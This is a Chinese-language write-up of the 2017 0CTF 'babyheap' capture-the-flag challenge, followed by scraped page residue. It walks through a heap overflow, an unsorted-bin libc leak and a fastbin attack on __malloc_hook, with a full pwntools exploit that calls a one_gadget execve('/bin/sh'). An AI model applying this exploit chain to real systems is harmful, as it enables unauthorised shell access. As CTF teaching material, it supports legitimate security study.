2017-0ctf-babyheap
fastbin attack + unsortedbin attack + __malloc_hook 的基础利用
题目下载 : https://uaf.io/assets/0ctfbabyheap
本题是2017 0ctf 很简单的一道题
先来看一下题目的基本信息
$ checksec babyheap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
保护全开,是一个典型的菜单题,结合ida,先写下这几个函数
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
然后在ida中发现
__int64 __fastcall fill(__int64 a1)
{
...
printf("Index: ");
result = num();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = num();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
====> result = read____(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
...
他并没有对输入的长度做判断,我们可以从一个堆块溢出到另一个堆块上
我们也可以对堆块的大小做控制
- 通过unsortedbin attack 来leak出堆的地址
- 提前申请几个小堆块
- 利用第一个chunk的溢出,修改第二个chunk的size(大到能包括每三个chunk的fd)
- free第二个chunk,再申请回来
- 利用这个chunk 改大第三个chunk (free能后进unsortedbin )
- 通过第二个chunk读第三个chunk的fd(main_arena+88的地址)
- 通过 fastbin attack 控制 __malloc_hook
- free 掉提前申请的0x60大小的chunk
- 通过第一步的思路改被free的fd为 __malloc_hook
- 把__malloc_hook 改为
- 调用calloc 去执行 one_gadget
1. 通过unsortedbin attack 来leak出堆的地址
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4
fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读 idx2 ->fd 了
fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)
dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
free(2)的时候我没有去控制 unsortedbin 会检查到下一个chunk 我把idx2->size改为0x91后,下一个chunk正好是idx4 ,上面申请的5个内存的大小是我精心构造的
完整exp如下:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./babyheap")
elf=ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
#-------leak main_arena - unsorted bin attack ------
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4
fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读写 idx2 ->fd 了
fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)
dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
#------------ 把malloc_hook申请出来 ---------------------
free(4)
payload=p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
alloc(0x60)#idx2
alloc(0x60)#idx4 malloc_hook
#----------- 改 malloc_hook ---------------------------
libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc = '+hex(libc_addr))
payload=p64(libc_addr+0x4526a) #0x4526a在下面解释
shllcode='a'*0x13+payload
fill(4,shllcode)
alloc(1)
p.sendline('bash')
p.interactive()
我们需要在 __malloc_hook 写一个函数地址,用来getshell
0x4526a这个偏移里写的是这东西:
<do_system+1098>: mov rax,QWORD PTR [rip+0x37ec47]
<do_system+1105>: lea rdi,[rip+0x147adf]
<do_system+1112>: lea rsi,[rsp+0x30]
<do_system+1117>: mov DWORD PTR [rip+0x381219],0x0
<do_system+1127>: mov DWORD PTR [rip+0x381213],0x0
<do_system+1137>: mov rdx,QWORD PTR [rax]
<do_system+1140>: call 0x7f7f36b27770 <execve>
这个位置是怎么找到的? 分享一个小工具: https://github.com/david942j/one_gadget.git
$ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
$
这4个地址一个一个的试去吧!骚年!
2017-0ctf-babyheap的更多相关文章
- Pwn with File结构体之利用 vtable 进行 ROP
前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...
- 0CTF 2017 部分Web的某些不一样的思路
洒家参加了0CTF 2017,做了一些题目.赛后过了好几天,看网上已经有了一些写得不错的Writeup,这里就写一写洒家的一些不一样的思路. 一些不错的Writeup https://ctftime. ...
- 0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
- CI Weekly #10 | 2017 DevOps 趋势预测
2016 年的最后几个工作日,我们对 flow.ci Android & iOS 项目做了一些优化与修复: iOS 镜像 cocoapods 版本更新: fir iOS上传插件时间问题修复: ...
- 猖獗的假新闻:2017年1月1日起iOS的APP必须使用HTTPS
一.假新闻如此猖獗 刚才一位老同事 打电话问:我们公司还是用的HTTP,马上就到2017年了,提交AppStore会被拒绝,怎么办? 公司里已经有很多人问过这个问题,回答一下: HTTP还是可以正常提 ...
- iOS的ATS配置 - 2017年前ATS规定的适配
苹果规定 从2017年1月1日起,新提交的 app 不允许使用NSAllowsArbitraryLoads来绕过ATS(全称:App Transport Security)的限制. 以前为了能兼容ht ...
- 深入研究Visual studio 2017 RC新特性
在[Xamarin+Prism开发详解三:Visual studio 2017 RC初体验]中分享了Visual studio 2017RC的大致情况,同时也发现大家对新的Visual Studio很 ...
- Xamarin+Prism开发详解三:Visual studio 2017 RC初体验
Visual studio 2017 RC出来一段时间了,最近有时间就想安装试试,随带分享一下安装使用体验. 1,卸载visual studio 2015 虽然可以同时安装visual studio ...
- Microsoft Visual Studio 2017 for Mac Preview 下载+安装+案例Demo
目录: 0. 前言 1. 在线安装器 2. 安装VS 3. HelloWorld 4. ASP.NET MVC 5. 软件下载 6. 结尾 0. 前言: 工作原因,上下班背着我的雷神,一个月瘦了10斤 ...
随机推荐
- GUI学习之三十四——QSS样式表
今天是一个大课题:QSS样式表 一.概念: QSS是Qt Style Sheet——Qt样式表,是用来自定义控件外观的一种机制;可以把他类比成CSS,但是不及其功能强大. 二.使用: 我们做一个模板, ...
- 浅谈MySQL存储引擎选择 InnoDB还是MyISAM
如果是一些小型的应用或项目,那么MyISAM 也许会更适合.当然,在大型的环境下使用MyISAM 也会有很大成功的时候,但却不总是这样的.如果你正在计划使用一个超大数据量的项目,那么你应该直接使用In ...
- crontab误删操作的恢复与防范
1.crontab -r 误删操作的恢复 语句解析:crontab -e 编辑 与 crontab -r 删除,由于e, r在键盘上是紧邻的,一旦误操作 crontab -r 将会删除每个用户的定时任 ...
- 判断request中是否有文件
ServletFileUpload.isMultipartContent(request)
- MYSQL<四>
-- ########## 01.ER关系 ########## -- ER关系(逻辑描述) -- A:E---Entity简写,实体,具有相同属性(特征)的对象归为同一实体 -- Attribute ...
- 【shell】文本匹配问题
原文本通过TITLE分段 TITLE1 xxx yyy TITLE2 xxx yyy hello zzz hello TITLE3 xxx hello 类似于这样的,hello可能有多个,需要打印出含 ...
- windows 全局安装 express 但无法命令行执行
从 express 的官网直接按照命令行全局安装 express 后, express 命令无法执行, 在 cmd 中显示 该命令行无法识别.基本可判断是 环境变量配置 这边没有搞定. 1. 卸载 n ...
- Android图片缩放 指定尺寸
//使用Bitmap加Matrix来缩放 public static Drawable resizeImage(Bitmap bitmap, int w, int h) { ...
- Linux基本命令使用(三)
1.压缩解压命令:gzip, .gz格式的 gzip 文件名 就压缩了. Linux压缩的放到Windows下可以解压,但是Windows下压缩到Linux解压就不一定可以. (1)只能压 ...
- Spring Data Jpa (二)JPA基础查询
介绍Spring Data Common里面的公用基本方法 (1)Spring Data Common的Repository Repository位于Spring Data Common的lib里面, ...